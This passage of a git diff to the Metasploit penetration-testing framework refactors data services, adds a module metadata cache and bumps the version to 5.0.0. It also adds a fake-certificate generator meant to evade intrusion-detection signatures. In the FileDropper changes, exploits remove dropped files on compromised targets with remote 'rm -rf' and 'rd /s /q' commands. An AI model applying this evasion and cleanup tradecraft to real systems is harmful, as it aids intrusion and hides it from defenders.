# TODO: Add an option to toggle whether the file data is returned or not
loots = json_to_open_struct_object(self.get_data(LOOT_PATH, opts), [])
loots = json_to_mdm_object(self.get_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
# Save a local copy of the file
loots.each do |loot|
if loot.data
@ -19,14 +20,14 @@ module RemoteLootDataService
end
def report_loot(opts)
self.post_data_async(LOOT_PATH, opts)
self.post_data_async(LOOT_API_PATH, opts)
end
def find_or_create_loot(opts)
json_to_open_struct_object(self.post_data(LOOT_PATH, opts))
json_to_mdm_object(self.post_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
end
def report_loots(loot)
self.post_data(LOOT_PATH, loot)
self.post_data(LOOT_API_PATH, loot)
end
end

View File

@ -1,6 +1,7 @@
module RemoteSessionDataService
SESSION_API_PATH = '/api/1/msf/session'
SESSION_MDM_CLASS = 'Mdm::Session'
def report_session(opts)
session = opts[:session]
@ -12,7 +13,7 @@ module RemoteSessionDataService
end
opts[:time_stamp] = Time.now.utc
sess_db = json_to_open_struct_object(self.post_data(SESSION_API_PATH, opts))
sess_db = json_to_mdm_object(self.post_data(SESSION_API_PATH, opts), SESSION_MDM_CLASS, []).first
session.db_record = sess_db
end

View File

@ -3,14 +3,15 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteSessionEventDataService
include ResponseDataHelper
SESSION_EVENT_PATH = '/api/1/msf/session_event'
SESSION_EVENT_API_PATH = '/api/1/msf/session_event'
SESSION_EVENT_MDM_CLASS = 'Mdm::SessionEvent'
def session_events(opts = {})
json_to_open_struct_object(self.get_data(SESSION_EVENT_PATH, opts), [])
json_to_mdm_object(self.get_data(SESSION_EVENT_API_PATH, opts), SESSION_EVENT_MDM_CLASS, [])
end
def report_session_event(opts)
opts[:session] = opts[:session].db_record
self.post_data_async(SESSION_EVENT_PATH, opts)
self.post_data_async(SESSION_EVENT_API_PATH, opts)
end
end

View File

@ -5,19 +5,20 @@ module RemoteWorkspaceDataService
WORKSPACE_COUNTS_API_PATH = '/api/1/msf/workspace/counts'
WORKSPACE_API_PATH = '/api/1/msf/workspace'
WORKSPACE_MDM_CLASS = 'Mdm::Workspace'
DEFAULT_WORKSPACE_NAME = 'default'
def find_workspace(workspace_name)
workspace = workspace_cache[workspace_name]
return workspace unless (workspace.nil?)
workspace = json_to_open_struct_object(self.get_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name}))
workspace = json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name}), WORKSPACE_MDM_CLASS).first
workspace_cache[workspace_name] = workspace
end
def add_workspace(workspace_name)
response = self.post_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name})
json_to_open_struct_object(response, nil)
json_to_mdm_object(response, WORKSPACE_MDM_CLASS, nil)
end
def default_workspace
@ -33,11 +34,11 @@ module RemoteWorkspaceDataService
end
def workspaces
json_to_open_struct_object(self.get_data(WORKSPACE_API_PATH, {:all => true}), [])
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, {:all => true}), WORKSPACE_MDM_CLASS, [])
end
def workspace_associations_counts()
json_to_open_struct_object(self.get_data(WORKSPACE_COUNTS_API_PATH), [])
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, []), WORKSPACE_MDM_CLASS, [])
end
#########

View File

@ -10,10 +10,10 @@ module ResponseDataHelper
# Converts an HTTP response to an OpenStruct object
#
def json_to_open_struct_object(response_wrapper, returns_on_error = nil)
if (response_wrapper.expected)
if response_wrapper.expected
begin
body = response_wrapper.response.body
if (not body.nil? and not body.empty?)
if not body.nil? and not body.empty?
return JSON.parse(body, object_class: OpenStruct)
end
rescue Exception => e
@ -24,6 +24,34 @@ module ResponseDataHelper
return returns_on_error
end
#
# Converts an HTTP response to an Mdm Object
#
# @param [ResponseWrapper] A wrapped HTTP response containing a JSON body.
# @param [String] The Mdm class to convert the JSON to.
# @param [Anything] A failsafe response to return if no objects are found.
# @return [ActiveRecord::Base] An object of type mdm_class, which inherits from ActiveRecord::Base
def json_to_mdm_object(response_wrapper, mdm_class, returns_on_error = nil)
if response_wrapper.expected
begin
body = response_wrapper.response.body
if not body.nil? and not body.empty?
parsed_body = Array.wrap(JSON.parse(body))
rv = []
parsed_body.each do |json_object|
rv << to_ar(mdm_class.constantize, json_object)
end
return rv
end
rescue Exception => e
puts "Mdm Object conversion failed #{e.message}"
e.backtrace.each { |line| puts "#{line}\n" }
end
end
return returns_on_error
end
# Processes a Base64 encoded file included in a JSON request.
# Saves the file in the location specified in the parameter.
#
@ -45,6 +73,60 @@ module ResponseDataHelper
save_path
end
# Converts a Hash or JSON string to an ActiveRecord object.
# Importantly, this retains associated objects if they are in the JSON string.
#
# Modified from https://github.com/swdyh/toar/
# Credit to https://github.com/swdyh
#
# @param [String] klass The ActiveRecord class to convert the JSON/Hash to.
# @param [String] val The JSON string, or Hash, to convert.
# @param [Class] base_class The base class to build back to. Used for recursion.
# @return [ActiveRecord::Base] A klass object, which inherits from ActiveRecord::Base.
def to_ar(klass, val, base_object = nil)
data = val.class == Hash ? val.dup : JSON.parse(val)
obj = base_object || klass.new
obj_associations = klass.reflect_on_all_associations(:has_many).reduce({}) do |reflection, i|
reflection[i.options[:through]] = i if i.options[:through]
reflection
end
data.except(*obj.attributes.keys).each do |k, v|
association = klass.reflect_on_association(k)
next unless association
case association.macro
when :belongs_to
data.delete("#{k}_id")
to_ar(association.klass, v, obj.send("build_#{k}"))
obj.class_eval do
define_method("#{k}_id") { obj.send(k).id }
end
when :has_one
to_ar(association.klass, v, obj.send("build_#{k}"))
when :has_many
obj.send(k).proxy_association.target =
v.map { |i| to_ar(association.klass, i) }
as_th = obj_associations[k.to_sym]
if as_th
obj.send(as_th.name).proxy_association.target =
v.map { |i| to_ar(as_th.klass, i[as_th.source_reflection_name.to_s]) }
end
end
end
obj.assign_attributes(data.slice(*obj.attributes.keys))
obj.instance_eval do
# prevent save
def valid?(_context = nil)
false
end
end
obj
end
#
# Converts a hash to an open struct
#

View File

@ -22,6 +22,7 @@ module Metasploit::Framework::Spec::Constants
Error
External
Loader
Metadata
MetasploitClassCompatibilityError
Namespace
VersionCompatibilityError

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.16.29"
VERSION = "5.0.0"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -33,20 +33,24 @@ class Config < Hash
return val
end
# XXX Update this when there is a need to break compatibility
config_dir_major = 4
config_dir = ".msf#{config_dir_major}"
# Windows-specific environment variables
['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir|
val = Rex::Compat.getenv(dir)
if (val and File.directory?(val))
return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}")
return File.join(val, config_dir)
end
end
begin
# First we try $HOME/.msfx
File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}")
File.expand_path("~#{FileSep}#{config_dir}")
rescue ::ArgumentError
# Give up and install root + ".msfx"
InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}"
InstallRoot + config_dir
end
end

View File

@ -0,0 +1,100 @@
require 'rex/socket/ssl'
require 'faker'
module Msf
module Ssl
module CertProvider
def self.rand_vars(opts = {})
opts ||= {}
opts[:cc] ||= 'US'
opts[:st] ||= Faker::Address.state_abbr
opts[:loc] ||= Faker::Address.city
opts[:org] ||= Faker::Company.name
opts[:ou] ||= Faker::Hacker.send(%w{noun verb adjective}.sample.to_sym).gsub(/\W+/,'.')
opts[:cn] ||= opts[:org].downcase.gsub(/and/,'').gsub(/\W+/,'.') + '.' + Faker::Internet.domain_suffix
opts[:email] ||= "#{opts[:ou]}@#{opts[:cn]}"
opts
end
def self.ssl_generate_subject(opts = {})
opts = self.rand_vars(opts)
subject = ""
subject << "/C=#{opts[:cc]}" if opts[:cc]
subject << "/ST=#{opts[:st]}" if opts[:st]
subject << "/O=#{opts[:org]}" if opts[:org]
subject << "/OU=#{opts[:ou]}" if opts[:ou]
subject << "/CN=#{opts[:cn]}" if opts[:cn]
subject << "/emailAddress=#{opts[:email]}" if opts[:email]
subject
end
# Not used, for API compatibility
def self.ssl_generate_issuer(
cc: 'US',
org: Faker::Company.name,
cn: Faker::Internet.domain_name
)
"#{cc}/O=#{org}/CN=#{cn}"
end
#
# Generate a realistic-looking but obstensibly fake SSL
# certificate. Use Faker gem to mimic other self-signed
# certificates on the web to reduce the chance of sig
# identification by NIDS and the like.
#
# @return [String, String, Array]
def self.ssl_generate_certificate(opts = {}, ksize = 2048)
yr = 24*3600*365
vf = opts[:not_before] || Time.at(Time.now.to_i - rand(yr * 3) - yr)
vt = opts[:not_after] || Time.at(vf.to_i + (rand(9)+1) * yr)
cvars = opts[:cert_vars] || self.rand_vars
subject = opts[:subject] || ssl_generate_subject(cvars)
ctype = opts[:cert_type] || opts[:ca_cert].nil? ? :ca : :server
key = opts[:key] || OpenSSL::PKey::RSA.new(ksize){ }
cert = OpenSSL::X509::Certificate.new
cert.version = opts[:version] || 2
cert.serial = opts[:serial] || (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
cert.subject = OpenSSL::X509::Name.new([["C", subject]])
cert.issuer = opts[:ca_cert] || cert.subject
cert.not_before = vf
cert.not_after = vt
cert.public_key = key.public_key
bconst, kuse, ekuse = case ctype
when :ca
['CA:TRUE', 'cRLSign,keyCertSign']
when :server
['CA:FALSE', 'digitalSignature,keyEncipherment', 'serverAuth']
when :client
['CA:FALSE', 'nonRepudiation,digitalSignature,keyEncipherment', 'clientAuth,emailProtection']
when :ocsp
['CA:FALSE', 'nonRepudiation,digitalSignature', 'serverAuth,OCSPSigning']
when :tsca
['CA:TRUE,pathlen:0', 'cRLSign,keyCertSign']
end
ef = OpenSSL::X509::ExtensionFactory.new
ef.subject_certificate = cert
ef.issuer_certificate = cert
cert.extensions = [
ef.create_extension("basicConstraints", bconst, true),
ef.create_extension("subjectKeyIdentifier", "hash")
]
if kuse and !kuse.empty?
cert.extensions << ef.create_extension("keyUsage", kuse)
end
if ekuse and !ekuse.empty?
cert.extensions << ef.create_extension("extendedKeyUsage", ekuse)
end
cert.sign(key, OpenSSL::Digest::SHA256.new)
[key, cert, nil]
end
end
end
end

View File

@ -31,16 +31,14 @@ module Msf::DBManager::Host
deleted = []
hosts.each do |host|
begin
host.destroy
deleted << host.address.to_s
deleted << host.destroy
rescue # refs suck
elog("Forcibly deleting #{host.address}")
host.delete
deleted << host.address.to_s
deleted << host.delete
end
end
return { deleted: deleted }
return deleted
}
end

View File

@ -18,12 +18,12 @@ module CredentialServlet
begin
opts = parse_json_request(request, false)
data = get_db().creds(opts)
includes = [:logins, :public, :private, :origin, :realm]
includes = [:logins, :public, :private, :realm]
# Need to append the human attribute into the private sub-object before converting to json
# This is normally pulled from a class method from the MetasploitCredential class
response = []
data.each do |cred|
json = cred.as_json(include: includes).merge('human' => cred.private.class.model_name.human)
json = cred.as_json(include: includes).merge('private_class' => cred.private.class.to_s)
response << json
end
set_json_response(response)

View File

@ -672,14 +672,14 @@ class Exploit < Msf::Module
# Returns true if the exploit has an aggressive stance.
#
def aggressive?
(stance == Stance::Aggressive)
stance.include?(Stance::Aggressive)
end
#
# Returns if the exploit has a passive stance.
#
def passive?
(stance == Stance::Passive)
stance.include?(Stance::Passive)
end
#

View File

@ -6,10 +6,13 @@ module Exploit::FileDropper
def initialize(info = {})
super
@dropped_files = []
@dropped_dirs = []
register_advanced_options(
[
OptInt.new('FileDropperDelay', [false, 'Delay in seconds before attempting file cleanup'])
], self.class)
OptInt.new('FileDropperDelay', [false, 'Delay in seconds before attempting cleanup'])
])
end
# Record file as needing to be cleaned up
@ -21,16 +24,26 @@ module Exploit::FileDropper
# exploiting).
# @return [void]
def register_files_for_cleanup(*files)
@dropped_files ||= []
@dropped_files += files
nil
end
# Singular version
alias register_file_for_cleanup register_files_for_cleanup
# Record directory as needing to be cleaned up
#
# @param dirs [Array<String>] List of paths on the target that should
# be deleted during cleanup. Each directory should be either a full
# path or relative to the current working directory of the session
# (not necessarily the same as the cwd of the server we're
# exploiting).
# @return [void]
def register_dirs_for_cleanup(*dirs)
@dropped_dirs += dirs
end
# When a new session is created, attempt to delete any files that the
# Singular versions
alias register_file_for_cleanup register_files_for_cleanup
alias register_dir_for_cleanup register_dirs_for_cleanup
# When a new session is created, attempt to delete any paths that the
# exploit created.
#
# @param (see Msf::Exploit#on_new_session)
@ -42,70 +55,86 @@ module Exploit::FileDropper
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
end
unless @dropped_files && @dropped_files.length > 0
if @dropped_files.empty? && @dropped_dirs.empty?
return
end
@dropped_files.delete_if do |file|
exists_before = file_dropper_file_exist?(session, file)
if file_dropper_delete(session, file)
exists_before = file_dropper_exist?(session, file)
if file_dropper_delete_file(session, file)
file_dropper_deleted?(session, file, exists_before)
else
false
end
end
@dropped_dirs.delete_if do |dir|
exists_before = file_dropper_exist?(session, dir)
if file_dropper_delete_dir(session, dir)
file_dropper_deleted?(session, dir, exists_before)
end
end
end
# While the exploit cleanup do a last attempt to delete any files created
# if there is a file_rm method available. Warn the user if any files were
# While the exploit cleanup do a last attempt to delete any paths created
# if there is a file_rm/dir_rm method available. Warn the user if any paths were
# not cleaned up.
#
# @see Msf::Exploit#cleanup
# @see Msf::Post::File#file_rm
# @see Msf::Post::File#dir_rm
def cleanup
super
# Check if file_rm method is available (local exploit, mixin support, module support)
if not @dropped_files or @dropped_files.empty?
if @dropped_files.empty? && @dropped_dirs.empty?
return
end
if respond_to?(:file_rm)
delay = datastore['FileDropperDelay']
if delay
print_status("Waiting #{delay}s before file cleanup...")
select(nil,nil,nil,delay)
end
delay = datastore['FileDropperDelay']
if delay
print_status("Waiting #{delay}s before cleanup...")
sleep(delay)
end
# Check if file_rm method is available (local exploit, mixin support, module support)
if respond_to?(:file_rm)
@dropped_files.delete_if do |file|
begin
file_rm(file)
# We don't know for sure if file has been deleted, so always warn about it to the user
false
rescue ::Exception => e
vprint_error("Failed to delete #{file}: #{e}")
elog("Failed to delete #{file}: #{e.class}: #{e}")
elog("Call stack:\n#{e.backtrace.join("\n")}")
false
end
end
end
@dropped_files.each do |f|
print_warning("This exploit may require manual cleanup of '#{f}' on the target")
# Check if dir_rm method is available (local exploit, mixin support, module support)
if respond_to?(:dir_rm)
@dropped_dirs.delete_if do |dir|
begin
dir_rm(dir)
rescue ::Exception => e
vprint_error("Failed to delete #{dir}: #{e}")
elog("Failed to delete #{dir}: #{e.class}: #{e}")
elog("Call stack:\n#{e.backtrace.join("\n")}")
end
end
end
# We don't know for sure if paths have been deleted, so always warn about it to the user
(@dropped_files + @dropped_dirs).each do |p|
print_warning("This exploit may require manual cleanup of '#{p}' on the target")
end
end
private
# See if +path+ exists on the remote system and is a regular file
# See if +path+ exists on the remote system and is a regular file or directory
#
# @param path [String] Remote filename to check
# @return [Boolean] True if the file exists, otherwise false.
def file_dropper_file_exist?(session, path)
# @param path [String] Remote pathname to check
# @return [Boolean] True if the path exists, otherwise false.
def file_dropper_exist?(session, path)
if session.platform == 'windows'
normalized = file_dropper_win_file(path)
normalized = file_dropper_win_path(path)
else
normalized = path
end
@ -113,7 +142,7 @@ module Exploit::FileDropper
if session.type == 'meterpreter'
stat = session.fs.file.stat(normalized) rescue nil
return false unless stat
stat.file?
stat.file? || stat.directory?
else
if session.platform == 'windows'
f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\" ( echo true )")
@ -121,7 +150,7 @@ module Exploit::FileDropper
f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\\\\\" ( echo false ) ELSE ( echo true )")
end
else
f = session.shell_command_token("test -f \"#{normalized}\" && echo true")
f = session.shell_command_token("test -f \"#{normalized}\" -o -d \"#{normalized}\" && echo true")
end
return false if f.nil? || f.empty?
@ -134,8 +163,8 @@ module Exploit::FileDropper
#
# @param [String] file The file to delete
# @return [Boolean] True if the delete command has been executed in the remote machine, otherwise false.
def file_dropper_delete(session, file)
win_file = file_dropper_win_file(file)
def file_dropper_delete_file(session, file)
win_file = file_dropper_win_path(file)
if session.type == 'meterpreter'
begin
@ -167,29 +196,66 @@ module Exploit::FileDropper
end
end
# Checks if a file has been deleted by the current job
# Sends a directory deletion command to the remote +session+
#
# @param [String] file The file to check
# @return [Boolean] If the file has been deleted, otherwise false.
def file_dropper_deleted?(session, file, exists_before)
if exists_before && file_dropper_file_exist?(session, file)
print_error("Unable to delete #{file}")
false
elsif exists_before
print_good("Deleted #{file}")
true
# @param [String] dir The directory to delete
# @return [Boolean] True if the delete command has been executed in the remote machine, otherwise false.
def file_dropper_delete_dir(session, dir)
win_dir = file_dropper_win_path(dir)
if session.type == 'meterpreter'
begin
# Meterpreter should do this automatically as part of
# fs.dir.rmdir(). Until that has been implemented, remove the
# read-only flag with a command.
if session.platform == 'windows'
session.shell_command_token(%Q|attrib.exe -r #{win_dir}|)
end
session.fs.dir.rmdir(dir)
true
rescue ::Rex::Post::Meterpreter::RequestError
false
end
else
print_warning("Tried to delete #{file}, unknown result")
win_cmds = [
%Q|attrib.exe -r "#{win_dir}"|,
%Q|rd.exe /s /q "#{win_dir}"|
]
# We need to be platform-independent here. Since we can't be
# certain that {#target} is accurate because exploits with
# automatic targets frequently change it, we just go ahead and
# run both a windows and a unix command in the same line. One
# of them will definitely fail and the other will probably
# succeed. Doing it this way saves us an extra round-trip.
# Trick shared by @mihi42
session.shell_command_token("rm -rf \"#{dir}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null")
true
end
end
# Converts a file path to use the windows separator '\'
# Checks if a path has been deleted by the current job
#
# @param [String] file The file path to convert
# @return [String] The file path converted
def file_dropper_win_file(file)
file.gsub('/', '\\\\')
# @param [String] path The path to check
# @return [Boolean] If the path has been deleted, otherwise false.
def file_dropper_deleted?(session, path, exists_before)
if exists_before && file_dropper_exist?(session, path)
print_error("Unable to delete #{path}")
false
elsif exists_before
print_good("Deleted #{path}")
true
else
print_warning("Tried to delete #{path}, unknown result")
true
end
end
# Converts a path to use the windows separator '\'
#
# @param [String] path The path to convert
# @return [String] The path converted
def file_dropper_win_path(path)
path.gsub('/', '\\\\')
end
end

View File

@ -36,7 +36,7 @@ module Exploit::Remote::SunRPC
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5])
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])
# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req
], Msf::Exploit::Remote::SunRPC)
@ -70,7 +70,12 @@ module Exploit::Remote::SunRPC
ret = rpcobj.create
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
begin
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
rescue Rex::ArgumentError
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
end
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
@ -86,7 +91,12 @@ module Exploit::Remote::SunRPC
ret = rpcobj.call(proc, buf, timeout)
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
begin
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
rescue Rex::ArgumentError
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
end
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
progname = progresolv(rpcobj.program)
err = "SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: "
@ -127,7 +137,13 @@ module Exploit::Remote::SunRPC
# XXX: Incomplete. Just moved from Rex::Proto::SunRPC::Client
def portmap_qry()
ret = portmap_req()
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
begin
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
rescue Rex::ArgumentError
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
end
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
progname = progresolv(rpcobj.program)
err = "Query for program #{rpcobj.program} [#{progname}] failed: "

View File

@ -61,6 +61,7 @@ class Framework
require 'metasploit/framework/data_service/proxy/core'
require 'msf/core/event_dispatcher'
require 'rex/json_hash_file'
require 'msf/core/cert_provider'
#
# Creates an instance of the framework context.
@ -84,6 +85,9 @@ class Framework
# Configure the thread factory
Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self)
# Configure the SSL certificate generator
Rex::Socket::Ssl.cert_provider = Msf::Ssl::CertProvider
subscriber = FrameworkEventSubscriber.new(self)
events.add_exploit_subscriber(subscriber)
events.add_session_subscriber(subscriber)
@ -229,24 +233,8 @@ class Framework
}
end
# TODO: Anything still using this should be ported to use metadata::cache search
def search(match, logger: nil)
# Check if the database is usable
use_db = true
if self.db and self.db.is_local?
if !(self.db.migrated && self.db.modules_cached)
logger.print_warning("Module database cache not built yet, using slow search") if logger
use_db = false
end
else
logger.print_warning("Database not connected, using slow search") if logger
use_db = false
end
# Used the database for search
if use_db
return self.db.search_modules(match)
end
# Do an in-place search
matches = []
[ self.exploits, self.auxiliary, self.post, self.payloads, self.nops, self.encoders ].each do |mset|

View File

@ -21,7 +21,7 @@ module Msf::Module::FullName
#
def fullname
type + '/' + refname
"#{type}/#{refname}"
end
def promptname

View File

@ -3,6 +3,7 @@
# Gems
#
require 'active_support/concern'
require 'msf/core/modules/metadata/cache'
# Concerns the module cache maintained by the {Msf::ModuleManager}.
module Msf::ModuleManager::Cache
@ -98,7 +99,7 @@ module Msf::ModuleManager::Cache
end
# @overload refresh_cache_from_module_files
# Rebuilds database and in-memory cache for all modules.
# Rebuilds module metadata store and in-memory cache for all modules.
#
# @return [void]
# @overload refresh_cache_from_module_files(module_class_or_instance)
@ -107,14 +108,21 @@ module Msf::ModuleManager::Cache
# @param (see Msf::DBManager#update_module_details)
# @return [void]
def refresh_cache_from_module_files(module_class_or_instance = nil)
if framework_migrated?
if module_class_or_instance
framework.db.update_module_details(module_class_or_instance)
else
framework.db.update_all_module_details
end
refresh_cache_from_database(self.module_paths)
if module_class_or_instance
Msf::Modules::Metadata::Cache.instance.refresh_metadata_instance(module_class_or_instance)
else
module_sets =
[
['exploit', @framework.exploits],
['auxiliary', @framework.auxiliary],
['post', @framework.post],
['payload', @framework.payloads],
['encoder', @framework.encoders],
['nop', @framework.nops]
]
Msf::Modules::Metadata::Cache.instance.refresh_metadata(module_sets)
end
refresh_cache_from_database(self.module_paths)
end
# Refreshes the in-memory cache from the database cache.
@ -126,25 +134,11 @@ module Msf::ModuleManager::Cache
protected
# Returns whether the framework migrations have been run already.
#
# @return [true] if migrations have been run
# @return [false] otherwise
def framework_migrated?
if (framework.db)
if (framework.db.is_local?)
return framework.db.migrated
end
end
return false
end
# @!attribute [rw] module_info_by_path
# @return (see #module_info_by_path_from_database!)
# @return (see #module_info_by_path_from_store!)
attr_accessor :module_info_by_path
# Return a module info from Mdm::Module::Details in database.
# Return a module info from Msf::Modules::Metadata::Obj.
#
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
#
@ -154,40 +148,36 @@ module Msf::ModuleManager::Cache
def module_info_by_path_from_database!(allowed_paths=[""])
self.module_info_by_path = {}
if framework_migrated?
allowed_paths = allowed_paths.map{|x| x + "/"}
allowed_paths = allowed_paths.map{|x| x + "/"}
ActiveRecord::Base.connection_pool.with_connection do
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
# handle the growing number of modules better than all.each.
Mdm::Module::Detail.find_each do |module_detail|
path = module_detail.file
type = module_detail.mtype
reference_name = module_detail.refname
metadata = Msf::Modules::Metadata::Cache.instance.get_metadata
metadata.each do |module_metadata|
path = module_metadata.path
type = module_metadata.type
reference_name = module_metadata.ref_name
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
# Skip cached modules that are not in our allowed load paths
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
# The load path is assumed to be the next level above the type directory
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
# The load path is assumed to be the next level above the type directory
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_detail.mtime
}
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_metadata.mod_time
}
typed_module_set = module_set(type)
typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
if typed_module_set
unless typed_module_set.has_key?(reference_name)
typed_module_set[reference_name] = Msf::SymbolicModule
end
end
end

View File

@ -0,0 +1,8 @@
# -*- coding: binary -*-
require 'msf/core/modules'
# Namespace for module metadata related data and operations
module Msf::Modules::Metadata
end

View File

@ -0,0 +1,124 @@
require 'singleton'
require 'msf/events'
require 'rex/ui/text/output/stdio'
require 'msf/core/constants'
require 'msf/core/modules/metadata'
require 'msf/core/modules/metadata/obj'
require 'msf/core/modules/metadata/search'
require 'msf/core/modules/metadata/store'
#
# Core service class that provides storage of module metadata as well as operations on the metadata.
# Note that operations on this metadata are included as separate modules.
#
module Msf
module Modules
module Metadata
class Cache
include Singleton
include Msf::Modules::Metadata::Search
include Msf::Modules::Metadata::Store
#
# Refreshes cached module metadata as well as updating the store
#
def refresh_metadata_instance(module_instance)
refresh_metadata_instance_internal(module_instance)
update_store
end
#
# Returns the module data cache, but first ensures all the metadata is loaded
#
def get_metadata
wait_for_load
@module_metadata_cache.values
end
#
# Checks for modules loaded that are not a part of the cache and updates the underlying store
# if there are changes.
#
def refresh_metadata(module_sets)
unchanged_module_references = get_unchanged_module_references
has_changes = false
module_sets.each do |mt|
unchanged_reference_name_set = unchanged_module_references[mt[0]]
mt[1].keys.sort.each do |mn|
next if unchanged_reference_name_set.include? mn
module_instance = mt[1].create(mn)
next if not module_instance
begin
refresh_metadata_instance_internal(module_instance)
has_changes = true
rescue Exception => e
elog("Error updating module details for #{module_instance.fullname}: #{$!.class} #{$!} : #{e.message}")
end
end
end
update_store if has_changes
end
#
# Returns a hash(type->set) which references modules that have not changed.
#
def get_unchanged_module_references
skip_reference_name_set_by_module_type = Hash.new { |hash, module_type|
hash[module_type] = Set.new
}
@module_metadata_cache.each_value do |module_metadata|
unless module_metadata.path and ::File.exist?(module_metadata.path)
next
end
if ::File.mtime(module_metadata.path).to_i != module_metadata.mod_time.to_i
next
end
skip_reference_name_set = skip_reference_name_set_by_module_type[module_metadata.type]
skip_reference_name_set.add(module_metadata.ref_name)
end
return skip_reference_name_set_by_module_type
end
#######
private
#######
def wait_for_load
@load_thread.join unless @store_loaded
end
def refresh_metadata_instance_internal(module_instance)
metadata_obj = Obj.new(module_instance)
@module_metadata_cache[get_cache_key(module_instance)] = metadata_obj
end
def get_cache_key(module_instance)
key = ''
key << (module_instance.type.nil? ? '' : module_instance.type)
key << '_'
key << module_instance.refname
return key
end
def initialize
@module_metadata_cache = {}
@store_loaded = false
@console = Rex::Ui::Text::Output::Stdio.new
@load_thread = Thread.new {
init_store
@store_loaded = true
}
end
end
end
end
end

View File

@ -0,0 +1,71 @@
require 'msf/core/modules/metadata'
#
# Simple object for storing a modules metadata.
#
module Msf
module Modules
module Metadata
class Obj
attr_reader :name
attr_reader :full_name
attr_reader :rank
attr_reader :disclosure_date
attr_reader :type
attr_reader :author
attr_reader :description
attr_reader :references
attr_reader :is_server
attr_reader :is_client
attr_reader :platform
attr_reader :arch
attr_reader :rport
attr_reader :targets
attr_reader :mod_time
attr_reader :is_install_path
attr_reader :ref_name
def initialize(module_instance)
@name = module_instance.name
@full_name = module_instance.fullname
@disclosure_date = module_instance.disclosure_date
@rank = module_instance.rank.to_i
@type = module_instance.type
@description = module_instance.description.to_s.strip
@author = module_instance.author.map{|x| x.to_s}
@references = module_instance.references.map{|x| [x.ctx_id, x.ctx_val].join("-") }
@is_server = (module_instance.respond_to?(:stance) and module_instance.stance == "aggressive")
@is_client = (module_instance.respond_to?(:stance) and module_instance.stance == "passive")
@platform = module_instance.platform_to_s
@arch = module_instance.arch_to_s
@rport = module_instance.datastore['RPORT'].to_s
@path = module_instance.file_path
@mod_time = ::File.mtime(@path) rescue Time.now
@ref_name = module_instance.refname
install_path = Msf::Config.install_root.to_s
if (@path.to_s.include? (install_path))
@path = @path.sub(install_path, '')
@is_install_path = true
end
if module_instance.respond_to?(:targets) and module_instance.targets
